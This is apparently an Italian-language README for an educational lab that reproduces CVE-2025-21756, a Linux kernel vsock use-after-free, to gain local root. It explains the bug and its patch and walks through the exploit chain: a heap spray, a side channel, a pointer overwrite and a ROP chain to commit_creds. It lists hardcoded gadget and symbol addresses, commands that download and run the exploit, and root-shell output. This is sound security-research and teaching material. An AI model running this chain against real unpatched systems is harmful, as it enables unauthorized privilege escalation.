
Laboratorio didattico che dimostra un exploit use-after-free (UAF) nel sottosistema vsock del kernel Linux per l'escalation dei privilegi locale a root, con configurazione automatizzata e analisi della catena ROP.
Solo per scopi educativi e di ricerca sulla sicurezza autorizzati.
CVE-2025-21756 è una vulnerabilità use-after-free (UAF) nel sottosistema vsock (Virtual Socket) del kernel Linux, divulgata il 26 febbraio 2025. Consente a un utente malintenzionato locale di elevare i privilegi a root sui sistemi Linux interessati.
net/vmw_vsock/af_vsock.cIl bug si verifica durante la riassegnazione del trasporto di un socket vsock. La sequenza vulnerabile è:
vsock_create() crea il socket con refcnt=2 e lo inserisce nella lista non associatatransport->release() chiama vsock_remove_bound() senza verificare se il socket è stato spostato nella lista associata, decrementando erroneamente refcntvsock_bind() presuppone che il socket sia ancora nella lista non associata e chiama nuovamente _vsock_remove_bound()refcnt raggiunge 0 prematuramente → l'oggetto vsock viene liberato mentre è ancora referenziato → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() con CID che producono trasporti diversi causano la liberazione prematura dell'oggetto vsock mentre è ancora collegato in vsock_bind_tableunix_dgram_sendmsg con messaggi di ordine 2 (MIGRATE_UNMOVABLE), riempiendola con dati controllativsock_diag_dump (non protetto da AppArmor) viene utilizzato come canale laterale per rilevare quando la pagina è stata reclamata e individuare l'offset esatto dell'oggetto vittima all'interno della paginask->sk_prot viene sovrascritto per puntare a udp_prot+0x1c0 (udp_abort), che quando chiamato invoca sk->sk_error_report(sk), il cui puntatore viene sovrascritto con un gadget di stack pivotcommit_creds(init_cred) per assegnare le credenziali di root al processo, seguito dal trampolino KPTI per tornare allo spazio utentesudo# Scarica lo script di configurazione
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Esegui come utente normale (non root)
./setup-lab.sh
Lo script gestisce automaticamente:
sudo se non disponibilebuild-essential, qemu-system-x86, bc, pahole, ecc.)lts-6.6.75, rootfs, ramdisk)run_lab.sh come unico punto di ingressocd ~/cve-2025-21756-lab
./run_lab.sh
Una volta avviato l'ambiente, esegui al suo interno:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
Per uscire: Ctrl-A X
L'exploit di base proviene da ktranowl. Sono state applicate le seguenti modifiche per farlo funzionare in questo ambiente:
Modifica: nokaslr aggiunto ai parametri di avvio del kernel.
Motivo: L'exploit originale bypassa KASLR utilizzando EntryBleed, una tecnica di canale laterale basata sui tempi TLB che richiede una temporizzazione precisa della CPU. In un ambiente di virtualizzazione annidata, la precisione di rdtsc è insufficiente affinché EntryBleed funzioni in modo affidabile, producendo un kbase errato che causa lo sbaglio di tutti gli indirizzi calcolati con ADDRESS(). Disabilitare KASLR garantisce che il kernel venga sempre caricato a 0xffffffff81000000 e che gli offset hardcoded nell'exploit siano sempre corretti.
user_rip modificato da modeprobe_exec a check_rootModifica in exploit.c:
// Prima
uint64_t user_rip = (uint64_t)modeprobe_exec;
// Dopo
uint64_t user_rip = (uint64_t)check_root;
Motivo: modeprobe_exec è la tecnica di escalation dei privilegi utilizzata nell'exploit originale per l'ambiente kCTF remoto. Richiede argomenti da riga di comando (IP e porta di un server remoto) e connettività di rete esterna. Senza tali argomenti, il processo crasha con un GPF quando tenta di leggere argv[1]. check_root verifica direttamente l'uid ed esegue /bin/sh, il che è sufficiente per dimostrare lo sfruttamento in un ambiente locale.
modeprobe_exec all'interno di check_rootModifica in exploit.c:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // rimossa
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
Motivo: Anche con user_rip che punta a check_root, questa funzione chiamava internamente modeprobe_exec prima di eseguire /bin/sh. Senza gli argomenti necessari, tale chiamata causava un GPF e il processo terminava senza aprire una shell, nonostante commit_creds avesse già innalzato con successo i privilegi.
Durante il processo di configurazione del laboratorio, tutti i simboli del kernel e i gadget ROP sono stati verificati rispetto al kernel ufficiale kCTF lts-6.6.75 per confermare che fossero validi per questo ambiente.
I tre gadget utilizzati nell'exploit sono stati estratti dal kernel ufficiale utilizzando ROPgadget sul binario vmlinux e confermati corrispondere esattamente ai valori hardcoded:
Nessuno di questi ha richiesto modifiche.
I seguenti simboli sono stati verificati rispetto a /proc/kallsyms all'interno del kernel (con nokaslr, gli offset sono fissi):
Tutti i valori corrispondevano agli originali nell'exploit. Non sono state necessarie modifiche.
address_contain_udp_abortQuesto valore non punta direttamente alla funzione udp_abort. Punta a udp_prot + 0x1c0, che è il campo diag_destroy all'interno di struct proto. Questo è intenzionale: vsock_release chiama sk->sk_prot->close(sk, 0), dove close si trova all'offset 0 di struct proto. Puntando sk_prot a udp_prot->diag_destroy invece che all'inizio di udp_prot, il kernel legge diag_destroy come se fosse il puntatore close, che contiene . Questo si collega a → , dove viene posizionato il gadget di stack pivot.
vsock_release(sk)
└── sk->sk_prot->close(sk) ← sk_prot punta a udp_prot+0x1c0
└── udp_abort(sk) ← campo diag_destroy, letto come close()
└── sk_error_report(sk)
└── sk->sk_error_report(sk) ← gadget stack pivot
└── Catena ROP
└── commit_creds(init_cred)
└── kpti_trampoline → shell root
La patch ufficiale è disponibile dal kernel 6.14-rc1 ed è stata backportata a tutti i rami LTS mantenuti. Le distribuzioni interessate hanno emesso i propri avvisi:
Questo strumento è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di esplicita autorizzazione scritta è illegale. L'autore non è responsabile per eventuali usi impropri.
execve("/bin/sh") con uid=0| Gadget | Indirizzo | Scopo |
|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | Stack pivot — sposta RSP all'inizio dell'oggetto vsock controllato |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | Avanzamento dello stack — salta i campi riservati per raggiungere la catena ROP |
pop rdi ; ret | 0xffffffff8115e4f9 | Carica il primo argomento per commit_creds(init_cred) |
| Simbolo | Indirizzo | Note |
|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | Ancoraggio del canale laterale — lo slot della lista vsock in cui cade l'oggetto vittima |
init_net | 0xffffffff84bb1f80 | Utilizzato per validare il falso oggetto vsock tramite vsock_diag_dump |
commit_creds | 0xffffffff811fdac0 | Assegna le credenziali di root al processo corrente |
init_cred | 0xffffffff83c74d80 | Struttura delle credenziali con uid=gid=0, a un offset fisso dalla base del kernel |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — ripristina CR3 e torna allo spazio utente |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — vedi nota sotto |
udp_abortsk_error_report(sk)sk->sk_error_report(sk)| Aspetto | Originale (ktranowl) | Questo laboratorio |
|---|
| Bypass KASLR | EntryBleed (temporizzazione TLB) | Disabilitato (nokaslr) |
| Tecnica di escalation | modeprobe_exec tramite core_pattern | execve("/bin/sh") direttamente |
| Ambiente target | kCTF remoto | Locale |
| Connettività esterna necessaria | Sì | No |
| Risorsa | URL |
|---|
| Writeup originale (Hoefler) | https://hoefler.dev/articles/vsock.html |
| Exploit di Hoefler | https://github.com/hoefler02/CVE-2025-21756 |
| Analisi n-day (ktranowl) | https://hackmd.io/@ktranowl/H1XRm4zBxl |
| Exploit di ktranowl | https://github.com/khoatran107/cve-2025-21756 |
| Patch ufficiale | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-21756 |
| Regole kCTF | https://google.github.io/security-research/kernelctf/rules.html |